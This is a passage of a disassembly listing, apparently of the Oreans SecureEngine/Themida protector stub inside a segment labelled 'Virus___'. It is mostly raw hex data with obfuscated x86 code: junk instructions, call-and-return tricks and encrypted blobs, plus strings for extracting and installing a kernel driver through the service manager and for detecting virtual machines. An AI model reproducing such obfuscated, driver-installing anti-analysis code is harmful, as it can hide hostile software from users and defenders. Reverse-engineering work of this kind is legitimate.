80B5FF00h dd 0FF095FA5h, 5D108D95h, 858B6109h, 95FA584h, 858960C3h dd 95FA584h, 0A580858Dh, 8D50095Fh, 5FA4EA85h, 1685009h dd 0FF800000h, 5FA59095h, 8D046A09h, 5FA58485h, 46A5009h dd 858D006Ah, 95FA4FEh, 80B5FF50h, 0FF095FA5h, 5D309195h dd 9BD8309h, 95D18h, 0C840Fh, 0B5FF0000h, 95FA580h, 0A58C95FFh dd 0B5FF095Fh, 95FA580h, 108D95FFh, 0C361095Dh, 84858960h dd 8D095FA5h, 5FA58085h, 858D5009h, 95FA4EAh, 16850h, 95FF8000h dd 95FA590h, 858D046Ah, 95FA584h, 6A046A50h, 10858D00h dd 50095FA5h, 0A580B5FFh, 95FF095Fh, 95D3091h, 1809BD83h dd 0F00095Dh, 0C84h, 80B5FF00h, 0FF095FA5h, 5FA58C95h dd 80B5FF09h, 0FF095FA5h, 5D108D95h, 0C6C36109h, 5D333585h dd 7685209h, 0FFADE47Bh, 5D0605B5h, 9D95FF09h, 89095D19h dd 5FA59085h, 3585C609h, 52095D33h, 2E00E568h, 5B5FF90h dd 0FF095D06h, 5D199D95h, 8C858909h, 0C6095FA5h, 5D333585h dd 35685209h, 0FFB9BF12h, 5D0605B5h, 9D95FF09h, 89095D19h dd 5D309185h, 3585C609h, 52095D33h, 78103468h, 5B5FF98h dd 0FF095D06h, 5D199D95h, 8D858909h, 0C6095D10h, 5D333585h dd 0D4685209h, 0FFC005DBh, 5D0605B5h, 9D95FF09h, 89095D19h dd 5D278185h, 14E809h, 0FE740000h, 0B2F629A4h, 33346BC3h dd 0D95CD2CDh, 1FF2827Ah, 0F18BB828h, 81FE8B5Ah, 6994C2h dd 1A41B900h, 56B30000h, 54BB32FFh, 585AEB04h, 18830Fh dd 0E8600000h, 0Ah, 6834E28Bh, 0C829CEEEh, 0F589010h, 84h dd 0F0816100h, 50C957Ch, 5E5B5652h, 0C7EAF081h, 8B666351h dd 7CC081FBh, 0F85C85CBh, 0BF660289h, 0EA838527h, 96BE6604h dd 1E981D7h, 0F000000h, 0FFFFA785h, 0AE8FFh, 221E0000h dd 6BB50593h, 80F0F996h, 9D82C8BBh, 0EE95F47h, 33000002h dd 6E6E6143h, 7720746Fh, 65746972h, 65726F20h, 2E736E61h dd 0A647876h, 6B614D0Dh, 75732065h, 74206572h, 20746168h dd 73696874h, 6C696620h, 73692065h, 746F6E20h, 69656220h dd 7520676Eh, 20646573h, 61207962h, 68746F6Eh, 70207265h dd 72676F72h, 2E6D61h, 67h dup(0) dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 0EFE900h, 85C60000h, 95D3335h, 5B866847h, 0B5FFE3E4h dd 95D08F1h, 3973858Dh, 0D0FF095Dh, 10468h, 799D8D00h dd 53095D1Dh, 8D50D0FFh, 5FAE5BB5h, 32FE8B09h, 850FAEC0h dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 5D333585h dd 0FC684309h, 0FFBC8E6Eh, 5D08F1B5h, 73858D09h, 0FF095D39h dd 79B58DD0h, 6A095D1Dh, 806800h, 26A0000h, 6A006Ah, 68h dd 0D0FF56C0h, 85C6D88Bh, 95D3335h, 0EE566857h, 0B5FFA69Bh dd 95D08F1h, 3973858Dh, 0D0FF095Dh, 98DBD8Dh, 8D8D095Dh dd 95FAF81h, 6857006Ah, 37D0h, 0D0FF5351h, 850FC085h, 1Bh dd 0AC63B58Dh, 858D095Fh, 95FA432h, 8D8DD0FFh, 95D724Ch dd 0B8h, 0C6E1FF00h, 5D333585h, 0A7684309h, 0FFC0764Ah dd 5D08F1B5h, 73858D09h, 0FF095D39h, 0D0FF53D0h, 37D0B9C3h dd 0E80000h, 58000000h, 890EC083h, 2E908h, 0C38B0000h dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h db 70h aRogramCannotBe db 'rogram cannot be run in DOS mode.',0Dh,0Dh,0Ah ; DATA XREF: Virus___:loc_583AEFo db '$',0 align 4 dd 0 dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0 dd offset dword_417800+3D400h dd 0 dd 4000200h, 0 dd 3800000h, 1400h, 4 dup(0) dd 20000h, 1C000h, 9000h, 0 dd 7E00h, 0 dd 0C400h, 100h, 0DC00h, 3 dup(0) dd 12C00h, 13800h, 2 dup(0) dd 14200h, 19600h, 1D200h, 0 dd 1D200h, 0 dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0) dd 27C004h, 0 dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h dd 300h, 0 dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h dd 16B0007h, 277101h, 360h dup(0) dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0) dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h dd 9C3h dup(0) dd 1BE88300h, 7309F883h, 8524FF07h, 0 ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- align 4 dd 8 dup(0) dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 99E900h, 622F0000h dd 68636775h, 326B6365h, 75622F00h, 65686367h, 2F006B63h dd 63726F66h, 6E757265h, 75622F00h, 65686367h, 75666B63h dd 2F006C6Ch, 776F6873h, 65646F63h, 68732F00h, 6F63776Fh dd 326564h, 726C632Fh, 642F0074h, 317369h, 6F68732Fh, 736E6977h dd 636E6174h, 672F0065h, 6C777465h, 74617473h, 2F007375h dd 73676F6Ch, 75746174h, 642F0073h, 73706D75h, 75746174h dd 73h, 632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh dd 83000000h, 5FE7D6BDh, 840F0009h, 0Ah, 32985C7h, 1095Dh dd 85C60000h, 95D3335h, 5A2D6847h, 481708Bh, 0E2126024h dd 0F1B5FF1Fh, 8D095D08h, 5D397385h, 0FFD0FF09h, 80F88BD0h dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 1B840F00h dd 47000003h, 0F003F80h, 31184h, 1EE900h, 3F800000h, 3840F00h dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h, 0FFFFFFE2h dd 0F003F80h, 585h, 2E0E900h, 1E90000h, 47000000h, 0F203F80h dd 0FFFFF684h, 3F80FFh, 5850Fh, 0C3E90000h, 0E8000002h dd 0Ah, 0FFFFCBE9h, 2B4E9FFh, 0B58D0000h, 95FE756h, 225E8h dd 0EBBD0300h, 83095FE7h, 5FE7EBBDh, 840F0009h, 0Bh, 180985C7h dd 1095Dh, 8DC30000h, 5FE761B5h, 1FCE809h, 0BD030000h dd 95FE7EBh, 0E7EBBD83h, 0F00095Fh, 0B84h, 2985C700h, 1095D03h dd 0C3000000h, 0E7DAB58Dh, 0D3E8095Fh, 3000001h, 5FE7EBBDh dd 0EBBD8309h, 95FE7h, 0B840Fh, 85C70000h, 95D05D1h, 1 dd 6BB58DC3h, 0E8095FE7h, 1AAh, 0E7EBBD03h, 0BD83095Fh dd 95FE7EBh, 0B840F00h, 0C7000000h, 5D032985h, 109h, 0B58DC300h dd 95FE775h, 181E8h, 0EBBD0300h, 83095FE7h, 5FE7EBBDh dd 840F0009h, 15h, 32985C7h, 1095Dh, 85C70000h, 95D1809h dd 1, 83B58DC3h, 0E8095FE7h, 14Eh, 0E7EBBD03h, 0BD83095Fh dd 95FE7EBh, 0A840F00h, 0C7000000h, 5D339985h, 109h, 8DB58D00h dd 0E8095FE7h, 126h, 0E7EBBD03h, 0BD83095Fh, 95FE7EBh dd 0A840F00h, 0C7000000h, 5D339985h, 109h, 98B58D00h, 0E8095FE7h dd 0FEh, 0E7EBBD03h, 0BD83095Fh, 95FE7EBh, 0A840F00h, 0C7000000h dd 5D18B585h, 109h, 9EB58D00h, 0E8095FE7h, 0D6h, 0E7EBBD03h dd 0BD83095Fh, 95FE7EBh, 0A840F00h, 0C7000000h, 5D181985h dd 109h, 0A4B58D00h, 0E8095FE7h, 0AEh, 0E7EBBD03h, 0BD83095Fh dd 95FE7EBh, 0A840F00h, 0C7000000h, 5D20E185h, 109h, 0B2B58D00h dd 0E8095FE7h, 86h, 0E7EBBD03h, 0BD83095Fh, 95FE7EBh, 0A840F00h dd 0C7000000h, 5D284985h, 109h, 0BFB58D00h, 0E8095FE7h dd 5Eh, 0E7EBBD03h, 0BD83095Fh, 95FE7EBh, 0A840F00h, 0C7000000h dd 5D14D985h, 109h, 0CAB58D00h, 0E8095FE7h, 36h, 0E7EBBD03h dd 0BD83095Fh, 95FE7EBh, 0A840F00h, 0C7000000h, 5D06F585h dd 109h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h dd 0B960C3FFh, 1, 1CE9DE8Bh, 80000000h, 850F003Fh, 2, 178AC92Bh dd 840F1638h, 5, 0B9h, 80474600h, 840F003Eh, 8, 850FC90Bh dd 0FFFFFFD3h, 840FC90Bh, 21h, 0F003F80h, 984h, 203F8000h dd 0A850Fh, 1B90000h, 0E9000000h, 5, 0B9h, 0FC90B00h, 0D84h dd 89F32B00h, 5FE7EBB5h, 0AE909h, 85C70000h, 95FE7EBh dd 0 ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- dw 0B8h dd 0B000000h, 0A840FC0h, 0C7000000h, 5D339985h, 9, 0E8C88B00h dd 7, 0B9931663h, 898A2E32h, 5D07A1B5h, 0BD8B5809h, 95D0CD5h dd 5EBBC081h, 0B58B0000h, 95D0621h, 30FADBB9h, 0ABF1816Bh dd 0E96B30EDh, 11h, 6911EB70h, 0DC9B26F1h, 46AF8FE2h, 6AB16C34h dd 0BF108B00h, 19C3A36Fh, 0C746C281h, 0DE86726h, 6E000000h dd 5BAC05D8h, 0C2C4B495h, 50A51B3h, 24819D89h, 815E095Dh dd 0DA94DFEAh, 0E9FC601Ah, 0Fh, 5E555DA9h, 0D5438399h dd 0C54D275h, 6166DEBAh, 0B4C2EA81h, 95893F5Dh, 95D1889h dd 0BD891089h, 95D0BBDh, 0F02E883h, 687h, 39B58B00h, 48095D15h dd 8E848h, 326F0000h, 0C348CBB4h, 858982B9h, 95D2A31h dd 1E9835Bh, 1D850Fh, 0DCBE0000h, 0E93FCEE7h, 2Fh, 1D061FF0h dd 63925B63h, 707262E6h, 0FD40951h, 31B70D30h, 5D308DB5h dd 0FF53E909h, 1D3DFFFFh, 6D1EC628h, 0CB23B46Ah, 14A43B69h dd 0E9DF7337h, 10B7h, 41564441h, 32334950h, 4C4C442Eh dd 65704F00h, 4D43536Eh, 67616E61h, 417265h, 61657243h dd 65536574h, 63697672h, 53004165h, 74726174h, 76726553h dd 41656369h, 74654700h, 6974614Eh, 79536576h, 6D657473h dd 6F666E49h, 65704F00h, 7265536Eh, 65636976h, 65440041h dd 6574656Ch, 76726553h, 656369h, 736F6C43h, 72655365h dd 65636976h, 646E6148h, 4300656Ch, 72746E6Fh, 65536C6Fh dd 63697672h, 65h, 7 dup(0) dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0 dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0) dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0) dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h dd 6E616572h, 2E323373h, 737973h, 49h dup(0) a3cannotUpdateO db '3Cannot Update oreans.sys driver. Please, make sure that you have' db 0Ah db 0Dh,'administrator',27h,'s permits the first time that you are going to ' db 'run this program.',0 align 4 dd 59h dup(0) a3cannotOpenOre db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah db 0Dh,'is not open by another program.',0 align 4 dd 67h dup(0) a3secureengineD db '3SecureEngine driver cannot be updated because there are some pro' db 'grams using',0Ah db 0Dh,'it. You need to close those programs or restart your computer.',0Ah db 0Dh,'Restart now?',0 align 4 dd 0D9h dup(0) dd 5C2E5C5Ch, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0) aSeshutdownpriv db 'SeShutdownPrivilege',0 align 8 aCreateeventApi db 'CreateEvent API Error while extraction the driver',0 aGetenvironment db 'GetEnvironmentVariable API Error while extraction the driver',0 aOpenscmanagerA db 'OpenSCManager API Error while extraction the driver',0 aCreateserviceA db 'CreateService API Error while extraction the driver',0 aCloseserviceha db 'CloseServiceHandle API Error while extraction the driver',0 aOpenserviceApi db 'OpenService API Error while extraction the driver',0 aStartserviceAp db 'StartService API Error while extraction the driver',0 aApicErrorCanno db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah db 0Dh,'contact info@oreans.com for this error',0 dd 0 dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h dd 70h dup(0) dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh dd 9401h, 500h, 100h, 0A2800h, 200h, 72655300h, 65636976h dd 63615020h, 32206Bh, 1Dh dup(0) dd 666F5300h, 72617774h, 69575C65h, 8B00656Eh, 89CB8BC4h dd 5D0AE185h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 66167360h, 0C08BD78Bh, 27B96660h dd 0C38B666Ch, 8D8D2361h, 83095D1Fh, 5D1809BDh, 9750009h dd 329BD83h, 7400095Dh, 8B535019h, 43DB8C0h, 85890000h dd 95D10ADh, 0AA619D8Dh, 0D3FF095Fh, 0BD83585Bh, 95D0329h dd 50177400h, 43DB853h, 85890000h, 95D10ADh, 0A7509D8Dh dd 0D3FF095Fh, 0BD8B585Bh, 95D1081h, 39C2CBAh, 0FC08B28h dd 68Eh, 0F18D8900h, 0F095D0Ch, 686h, 25B52900h, 8B095D30h dd 0DE9C0h, 8DAD0000h, 7BDAD783h, 766C2387h, 832B45C9h dd 5D1809BDh, 9750009h, 329BD83h, 7400095Dh, 8B535013h dd 0B8C0h, 9D8D0000h, 95FA903h, 585BD3FFh, 329BD83h, 7400095Dh dd 0B8535011h, 0 ; --------------------------------------------------------------------------- lea ebx, [ebp+95FA7B4h] call ebx pop ebx pop eax mov ecx, 2FCCD089h mov ecx, 510AF423h add [ebp+95D152Dh], ecx mov eax, eax mov ecx, [ebp+95D22C9h] mov eax, eax mov ecx, [ebp+95D130Dh] cmp dword ptr [ebp+95D1809h], 0 jnz short loc_59A99C cmp dword ptr [ebp+95D0329h], 0 jz short loc_59A9AF loc_59A99C: ; CODE XREF: Virus___:0059A991j push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+95FA835h] call ebx pop ebx pop eax loc_59A9AF: ; CODE XREF: Virus___:0059A99Aj cmp dword ptr [ebp+95D0329h], 0 jz short loc_59A9C9 push eax push ebx mov eax, 0 lea ebx, [ebp+95FA782h] call ebx pop ebx pop eax loc_59A9C9: ; CODE XREF: Virus___:0059A9B6j push 0 push ebx call sub_59A9D4 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A9D4 proc near ; CODE XREF: Virus___:0059A9CCp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_59A9D4 endp ; --------------------------------------------------------------------------- dd 0DFB23A56h, 0BE261A9Eh, 182D8589h, 0C08B095Dh, 1EF9B501h dd 0C08B095Dh, 0E998B966h, 1809BD83h, 7500095Dh, 29BD8309h dd 95D03h, 53501374h, 0B8C08Bh, 8D000000h, 5FA89C9Dh, 5BD3FF09h dd 29BD8358h, 95D03h, 53501174h, 0B8h, 9B9D8D00h, 0FF095FA7h dd 0E8585BD3h, 10h, 70987BA5h, 4C3ED2A7h, 87AE380Fh, 7C95337Ch dd 0B8E0Fh, 5E80000h, 56000000h, 0F41DB1A9h, 0E1815F5Fh dd 5E8E96Ah, 6E9h, 0F0C7F300h, 8B27C38Eh, 0C08BF9C0h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 1C35343h, 9BD832Fh dd 95D18h, 0BD830975h, 95D0329h, 50137400h, 0B8C08B53h dd 0 ; --------------------------------------------------------------------------- lea ebx, [ebp+95FA7CEh] call ebx pop ebx pop eax add dl, 0FEh mov dh, 75h mov eax, eax mov eax, eax mov edx, [ebp+95D03D9h] cmp dword ptr [ebp+95D1809h], 0 jnz short loc_59AADF cmp dword ptr [ebp+95D0329h], 0 jz short loc_59AAF8 loc_59AADF: ; CODE XREF: Virus___:0059AAD4j push eax push ebx mov eax, eax mov eax, 7D0h mov [ebp+95D10ADh], eax lea ebx, [ebp+95FAA61h] call ebx pop ebx pop eax loc_59AAF8: ; CODE XREF: Virus___:0059AADDj cmp dword ptr [ebp+95D0329h], 0 jz short loc_59AB18 push eax push ebx mov eax, 7D0h mov [ebp+95D10ADh], eax lea ebx, [ebp+95FA750h] call ebx pop ebx pop eax loc_59AB18: ; CODE XREF: Virus___:0059AAFFj sub edi, [ebp+95D1451h] push 0 push ebp call sub_59AB29 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59AB29 proc near ; CODE XREF: Virus___:0059AB21p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_59AB29 endp ; --------------------------------------------------------------------------- inc ebp cdq fadd st, st(6) mov eax, eax jg loc_59AB4B mov edx, [ebp+95D21C5h] loc_59AB4B: ; CODE XREF: Virus___:0059AB3Fj mov byte ptr [ebp+95D3335h], 53h push 0 push ebx call sub_59AB5D and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59AB5D proc near ; CODE XREF: Virus___:0059AB55p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_59AB5D endp ; --------------------------------------------------------------------------- push edx push ecx sti mov [ebp+95D0C05h], ecx mov dh, bl push 99395F90h mov ecx, [ebp+95D003Dh] push dword ptr [ebp+95D08F1h] jmp loc_59AB98 ; --------------------------------------------------------------------------- dw 5F45h dd 660DF9FDh, 36C0BAB6h ; --------------------------------------------------------------------------- loc_59AB98: ; CODE XREF: Virus___:0059AB89j lea eax, [ebp+95D3973h] mov [ebp+95D0771h], eax call eax mov [ebp+95D0619h], ecx mov [ebp+95D2259h], eax push 0 push ebp call sub_59ABBD and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59ABBD proc near ; CODE XREF: Virus___:0059ABB5p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_59ABBD endp ; --------------------------------------------------------------------------- db 5Ch, 14h, 0CFh dd 0F0A2D446h, 0BAB9CBD3h, 1CB6C00Ch, 333585C6h, 6657095Dh dd 0E9D1E2B9h, 7, 0ED8EF2ABh, 68D7DA8Bh, 90045206h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0B4C35242h, 0C5D9B1ADh dd 0D6D9D0EDh, 8F1B5FFh, 0D781095Dh, 35197E3Fh, 24818D8Bh dd 858D095Dh, 95D3973h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0E0C35343h, 81664458h, 6647A2CAh, 0A6A2D281h dd 0BD0BD0FFh, 95D08EDh, 3858589h, 6A095Dh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 47E2A4C3h dd 0F5D97DBh, 680h, 8D958B00h, 0C6095D0Fh, 5D333585h, 8B604309h dd 5D19B185h, 2E88109h, 61550C09h, 90702868h, 0F823B9BCh dd 0B5FF3A10h, 95D08F1h, 3973858Dh, 0BD89095Dh, 95D1391h dd 8D58D8Bh, 0D0FF095Dh, 12218D8Bh, 8589095Dh, 95D2349h dd 39BF6660h, 9D8D8B3Fh, 61095D14h, 333585C6h, 6A4C095Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 1559C353h, 53596949h, 0E968C14Dh, 6AD9DA1Ch dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0BDB1C352h, 41F020F2h, 3FF01EB3h, 0D4A2E981h dd 0B5FF4D66h, 95D08F1h, 14E9h, 0BD8E4200h, 0CC061C79h dd 361ACE01h, 5F6C5A77h, 0EE552D1Ah, 73858D71h, 0F095D39h dd 84h, 6AD0FF00h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0E099C353h, 0F59ABE0Bh, 0B498589h dd 0AE9095Dh, 90000000h, 0D3B8F806h, 62651B73h, 3585C66Fh dd 46095D33h, 5E9h, 8AC2A500h, 1468B5E7h, 81BADE06h, 3EFBD0D2h dd 0F1B5FF55h, 89095D08h, 5D22D5BDh, 73858D09h, 66095D39h dd 3D74E781h, 0CF8AD0FFh, 2D98589h, 4BBF095Dh, 0C60D3B3Fh dd 5D333585h, 11E94709h, 78000000h, 0C698814Ch, 86FC0B0Eh dd 496207D2h, 0B6B60AB8h, 0FB5E268h, 0DBD898Ah, 0FF095D0Bh dd 5D08F1B5h, 0DF816609h, 858D8DA6h, 95D3973h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C3C35141h, 89D0FF1Ch dd 5D2A1185h, 19BD8909h, 0C6095D32h, 5D333585h, 0B70F4709h dd 0B5F368D0h, 0E96083D0h, 0Fh, 79FDDF27h, 6A0058DCh, 3E32A989h dd 61CCEAACh, 8F1B5FFh, 8D8B095Dh, 95D20DDh, 3973858Dh dd 6A095Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0C33025C3h, 1BB2E981h, 0D0FF37A7h, 26458589h dd 8589095Dh, 95D298Dh, 16D98D8Bh, 85C6095Dh, 95D3335h dd 0E1958B77h, 68095D08h, 0F397A8A3h, 50F9B70Fh, 54D8D8Bh dd 0FF5A095Dh, 5D0711B5h, 50006A09h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 1E472F6Dh dd 495640BCh, 84B8D981h, 0BF0F60A7h, 73858DCBh, 6A095D39h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 3C37C350h, 935CAC78h, 0D0FFD09Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 73C35646h, 0B662425Bh dd 6E9DEh, 0A9A50000h, 0BAD331A6h, 111D8589h, 6A095Dh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 916F98C3h, 55937217h, 958B04B4h, 95D03A5h, 0F9B58960h dd 0BA095D08h, 5EC25B5Fh, 3585C661h, 47095D33h, 0EE8h dd 0F093FF00h, 5B93381Ah, 0E0FA2E22h, 668984A2h, 5F8D17BFh dd 28FAF668h, 0E2816687h, 0B5FF3D16h, 95D08F1h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0E5C35040h, 916B4E41h dd 8DAAE19Bh, 5D397385h, 0FD853109h, 0FF095D06h, 0AA1ABFD0h dd 0B70F7E3Eh, 0DD8589CFh, 6A095D2Eh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0E7A0C357h dd 697D81ABh, 650D3E75h, 0C6FFF180h, 5D333585h, 0CF8B4309h dd 8E6EFC68h, 57006ABCh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 54A250D9h, 0F09131Ch, 289h, 0FFB3B100h dd 5D08F1B5h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0A4D281FFh, 1382008h, 5D1A598Dh dd 11858909h, 8D095D19h, 5D397385h, 68E0F09h, 8B000000h dd 5D031195h, 60D0FF09h, 19DD8D89h, 0B70F095Dh, 858961F7h dd 95D33C9h, 3585C6F8h, 45095D33h, 73D9529h, 6968095Dh dd 6A8E7269h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0D583C355h, 0B966E935h, 0B5FFC4BFh dd 95D08F1h, 8FF0A2BAh, 73858D7Fh, 89095D39h, 5D30558Dh dd 0FD0FF09h, 88Ch, 830F5600h, 0 ; --------------------------------------------------------------------------- pop edi mov [ebp+95D02BDh], eax mov cx, 9FFCh mov byte ptr [ebp+95D3335h], 44h jmp loc_59B140 ; --------------------------------------------------------------------------- xor [ecx-47119581h], esp stc mov dl, 9Ch loc_59B140: ; CODE XREF: Virus___:0059B132j push 0B8F2EC64h push dword ptr [ebp+95D08F1h] mov edx, [ebp+95D18B1h] mov di, ax lea eax, [ebp+95D3973h] mov dx, 8A70h call eax mov [ebp+95D28D1h], esi mov [ebp+95D0061h], eax add edi, [ebp+95D0541h] mov byte ptr [ebp+95D3335h], 43h xor [ebp+95D309Dh], eax push 0C0764AA7h mov dx, si js loc_59B191 mov dx, 5C42h loc_59B191: ; CODE XREF: Virus___:0059B187j push dword ptr [ebp+95D08F1h] mov edx, [ebp+95D3111h] lea eax, [ebp+95D3973h] or ecx, [ebp+95D128Dh] call eax mov edi, 15419F71h mov [ebp+95D1795h], eax mov ecx, 10E68B08h cmp byte ptr [ebp+95FF872h], 0 jz loc_59B2B5 mov cx, ax lea eax, [ebp+95FF854h] push 0 push eax call sub_59B1DC and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B1DC proc near ; CODE XREF: Virus___:0059B1D4p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_59B1DC endp ; --------------------------------------------------------------------------- dd 0E0CEE74Dh, 3C628EBAh, 8B0F506Bh, 5, 11F0AABAh, 66016A15h dd 6A90CCBAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 31F45F46h, 5D1E8185h, 1566009h, 5D16D9BDh dd 6B85F09h, 614BB75Bh, 0BF0F006Ah, 4995FFD2h, 66095D23h dd 894458BFh, 5D337585h, 0FE809h, 1BD70000h, 0BA3E9889h dd 30C7B338h, 0B160A8B5h, 1D8D03B6h, 5A095D21h, 0D9C5CBAh dd 0E9FF6A0Ch, 0Bh, 9719FC34h, 11DDA27Bh, 0FF64126Bh, 5D3375B5h dd 0D0BF0F09h, 38595FFh, 6A095Dh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 893B00C3h, 5D18D5B5h db 9 ; --------------------------------------------------------------------------- loc_59B2B5: ; CODE XREF: Virus___:0059B1C2j mov eax, eax mov dh, al cmp dword ptr [ebp+95D1809h], 0 jnz short loc_59B2CB cmp dword ptr [ebp+95D0329h], 0 jz short loc_59B2E4 loc_59B2CB: ; CODE XREF: Virus___:0059B2C0j push eax push ebx mov eax, eax mov eax, 7D1h mov [ebp+95D10ADh], eax lea ebx, [ebp+95FAA61h] call ebx pop ebx pop eax loc_59B2E4: ; CODE XREF: Virus___:0059B2C9j cmp dword ptr [ebp+95D0329h], 0 jz short loc_59B304 push eax push ebx mov eax, 7D1h mov [ebp+95D10ADh], eax lea ebx, [ebp+95FA750h] call ebx pop ebx pop eax loc_59B304: ; CODE XREF: Virus___:0059B2EBj mov ecx, 318D02F1h mov eax, eax jle loc_59B317 add edi, [ebp+95D314Dh] loc_59B317: ; CODE XREF: Virus___:0059B30Bj mov byte ptr [ebp+95D3335h], 47h jmp loc_59B330 ; --------------------------------------------------------------------------- db 0F9h dd 0B2416102h, 367B4BB4h, 95AB3B36h ; --------------------------------------------------------------------------- loc_59B330: ; CODE XREF: Virus___:0059B31Ej push 93C8F7C1h mov di, bx push dword ptr [ebp+95D08F1h] mov [ebp+95D249Dh], edx lea eax, [ebp+95D3973h] add ecx, 7635FC6Eh call eax cmc jmp loc_59B364 ; --------------------------------------------------------------------------- dd 83B6114Eh, 7A775676h, 9C0F70B0h ; --------------------------------------------------------------------------- loc_59B364: ; CODE XREF: Virus___:0059B353j push eax push 0 push ebx call sub_59B370 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B370 proc near ; CODE XREF: Virus___:0059B368p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_59B370 endp ; --------------------------------------------------------------------------- dd 